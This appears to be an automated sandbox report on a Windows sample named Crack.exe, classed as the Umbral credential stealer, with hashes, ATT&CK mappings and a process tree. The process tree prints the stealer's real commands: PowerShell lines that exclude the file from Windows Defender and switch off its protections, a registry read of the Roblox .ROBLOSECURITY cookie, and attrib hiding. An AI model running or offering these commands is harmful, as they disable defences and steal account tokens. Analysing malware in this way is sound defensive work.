umbral | dc1fd062f4b5dedf2e3c9e3a50f2c0bf6d96ec83bb12f95cab6cf47c395994b4

Analysis

max time kernel
8s
max time network
10s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-12-2024 11:48

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General

Target

Crack.exe
Size

229KB
MD5

54a4fef24ac2c3ee74b2999530825faa
SHA1

c03fd109fe013c11a780120841b2441fb747cf51
SHA256

766d71850cce1d3ce7ccecd302b3ff2049e765e48cbd69c53b4f122754a7f14f
SHA512

97a5d1dd811a51200115a3f878940f4fd6ac8bd1dbf6081c251290aeec6962d277f48c02075aefbcfa672805bf4921c8a8c2abfa0bf20e76bf13c6c6738a8419
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD4AvO18il92ADe8NhoKub8e1mCi:foZtL+EP8AvO18il92ADe8Nhohs

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3668-1-0x0000026142D10000-0x0000026142D50000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1512	powershell.exe
220	powershell.exe
1532	powershell.exe
2392	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Crack.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4684	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3668	Crack.exe
1512	powershell.exe
1512	powershell.exe
1532	powershell.exe
1532	powershell.exe
2392	powershell.exe
2392	powershell.exe
1708	powershell.exe
1708	powershell.exe
220	powershell.exe
220	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	Crack.exe
Token: SeIncreaseQuotaPrivilege	4992	wmic.exe
Token: SeSecurityPrivilege	4992	wmic.exe
Token: SeTakeOwnershipPrivilege	4992	wmic.exe
Token: SeLoadDriverPrivilege	4992	wmic.exe
Token: SeSystemProfilePrivilege	4992	wmic.exe
Token: SeSystemtimePrivilege	4992	wmic.exe
Token: SeProfSingleProcessPrivilege	4992	wmic.exe
Token: SeIncBasePriorityPrivilege	4992	wmic.exe
Token: SeCreatePagefilePrivilege	4992	wmic.exe
Token: SeBackupPrivilege	4992	wmic.exe
Token: SeRestorePrivilege	4992	wmic.exe
Token: SeShutdownPrivilege	4992	wmic.exe
Token: SeDebugPrivilege	4992	wmic.exe
Token: SeSystemEnvironmentPrivilege	4992	wmic.exe
Token: SeRemoteShutdownPrivilege	4992	wmic.exe
Token: SeUndockPrivilege	4992	wmic.exe
Token: SeManageVolumePrivilege	4992	wmic.exe
Token: 33	4992	wmic.exe
Token: 34	4992	wmic.exe
Token: 35	4992	wmic.exe
Token: 36	4992	wmic.exe
Token: SeIncreaseQuotaPrivilege	4992	wmic.exe
Token: SeSecurityPrivilege	4992	wmic.exe
Token: SeTakeOwnershipPrivilege	4992	wmic.exe
Token: SeLoadDriverPrivilege	4992	wmic.exe
Token: SeSystemProfilePrivilege	4992	wmic.exe
Token: SeSystemtimePrivilege	4992	wmic.exe
Token: SeProfSingleProcessPrivilege	4992	wmic.exe
Token: SeIncBasePriorityPrivilege	4992	wmic.exe
Token: SeCreatePagefilePrivilege	4992	wmic.exe
Token: SeBackupPrivilege	4992	wmic.exe
Token: SeRestorePrivilege	4992	wmic.exe
Token: SeShutdownPrivilege	4992	wmic.exe
Token: SeDebugPrivilege	4992	wmic.exe
Token: SeSystemEnvironmentPrivilege	4992	wmic.exe
Token: SeRemoteShutdownPrivilege	4992	wmic.exe
Token: SeUndockPrivilege	4992	wmic.exe
Token: SeManageVolumePrivilege	4992	wmic.exe
Token: 33	4992	wmic.exe
Token: 34	4992	wmic.exe
Token: 35	4992	wmic.exe
Token: 36	4992	wmic.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeIncreaseQuotaPrivilege	2164	wmic.exe
Token: SeSecurityPrivilege	2164	wmic.exe
Token: SeTakeOwnershipPrivilege	2164	wmic.exe
Token: SeLoadDriverPrivilege	2164	wmic.exe
Token: SeSystemProfilePrivilege	2164	wmic.exe
Token: SeSystemtimePrivilege	2164	wmic.exe
Token: SeProfSingleProcessPrivilege	2164	wmic.exe
Token: SeIncBasePriorityPrivilege	2164	wmic.exe
Token: SeCreatePagefilePrivilege	2164	wmic.exe
Token: SeBackupPrivilege	2164	wmic.exe
Token: SeRestorePrivilege	2164	wmic.exe
Token: SeShutdownPrivilege	2164	wmic.exe
Token: SeDebugPrivilege	2164	wmic.exe
Token: SeSystemEnvironmentPrivilege	2164	wmic.exe
Token: SeRemoteShutdownPrivilege	2164	wmic.exe
Token: SeUndockPrivilege	2164	wmic.exe
Token: SeManageVolumePrivilege	2164	wmic.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 4992	3668	Crack.exe	85
PID 3668 wrote to memory of 4992	3668	Crack.exe	85
PID 3668 wrote to memory of 1860	3668	Crack.exe	88
PID 3668 wrote to memory of 1860	3668	Crack.exe	88
PID 3668 wrote to memory of 1512	3668	Crack.exe	90
PID 3668 wrote to memory of 1512	3668	Crack.exe	90
PID 3668 wrote to memory of 1532	3668	Crack.exe	92
PID 3668 wrote to memory of 1532	3668	Crack.exe	92
PID 3668 wrote to memory of 2392	3668	Crack.exe	94
PID 3668 wrote to memory of 2392	3668	Crack.exe	94
PID 3668 wrote to memory of 1708	3668	Crack.exe	96
PID 3668 wrote to memory of 1708	3668	Crack.exe	96
PID 3668 wrote to memory of 2164	3668	Crack.exe	99
PID 3668 wrote to memory of 2164	3668	Crack.exe	99
PID 3668 wrote to memory of 1728	3668	Crack.exe	101
PID 3668 wrote to memory of 1728	3668	Crack.exe	101
PID 3668 wrote to memory of 1912	3668	Crack.exe	103
PID 3668 wrote to memory of 1912	3668	Crack.exe	103
PID 3668 wrote to memory of 220	3668	Crack.exe	105
PID 3668 wrote to memory of 220	3668	Crack.exe	105
PID 3668 wrote to memory of 4684	3668	Crack.exe	107
PID 3668 wrote to memory of 4684	3668	Crack.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1860	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Crack.exe
"C:\Users\Admin\AppData\Local\Temp\Crack.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Crack.exe"
  2⤵
  - Views/modifies file attributes
  PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Crack.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2164
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1728
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:220
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
5824a6037c081fda5d46de274b6e2799

SHA1
526367a09300cbde430e8fb44e41cbe7a0937aac

SHA256
4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f

SHA512
a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b5e2fd95470c50743ba121fd6bd03a7b

SHA1
75545ed499d9dde51a1fc1cf535eb4f50ec79250

SHA256
d9c961aaf784b9ce81b0a3aac7a39bd41e9f2702d9c28deb20e786d385b88288

SHA512
76bdc793f8b38f603b5ad0957474660bb09e963a2496564b8ceac6591d532fc9498214b81c3908bafc13ff0b07028457c6c997998adfd2203304cb1c82899423

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jzjckgdx.l4c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1512-4-0x00007FFA9AB10000-0x00007FFA9B5D1000-memory.dmp

Filesize
10.8MB

Download
memory/1512-15-0x00007FFA9AB10000-0x00007FFA9B5D1000-memory.dmp

Filesize
10.8MB

Download
memory/1512-14-0x00000166D91F0000-0x00000166D9212000-memory.dmp

Filesize
136KB

Download
memory/1512-18-0x00007FFA9AB10000-0x00007FFA9B5D1000-memory.dmp

Filesize
10.8MB

Download
memory/1512-3-0x00007FFA9AB10000-0x00007FFA9B5D1000-memory.dmp

Filesize
10.8MB

Download
memory/3668-34-0x000002615D1A0000-0x000002615D1F0000-memory.dmp

Filesize
320KB

Download
memory/3668-33-0x000002615D480000-0x000002615D4F6000-memory.dmp

Filesize
472KB

Download
memory/3668-35-0x000002615D520000-0x000002615D53E000-memory.dmp

Filesize
120KB

Download
memory/3668-1-0x0000026142D10000-0x0000026142D50000-memory.dmp

Filesize
256KB

Download
memory/3668-0-0x00007FFA9AB13000-0x00007FFA9AB15000-memory.dmp

Filesize
8KB

Download
memory/3668-72-0x000002615D190000-0x000002615D19A000-memory.dmp

Filesize
40KB

Download
memory/3668-73-0x000002615D210000-0x000002615D222000-memory.dmp

Filesize
72KB

Download
memory/3668-2-0x00007FFA9AB10000-0x00007FFA9B5D1000-memory.dmp

Filesize
10.8MB

Download
memory/3668-89-0x00007FFA9AB13000-0x00007FFA9AB15000-memory.dmp

Filesize
8KB

Download
memory/3668-90-0x00007FFA9AB10000-0x00007FFA9B5D1000-memory.dmp

Filesize
10.8MB

Download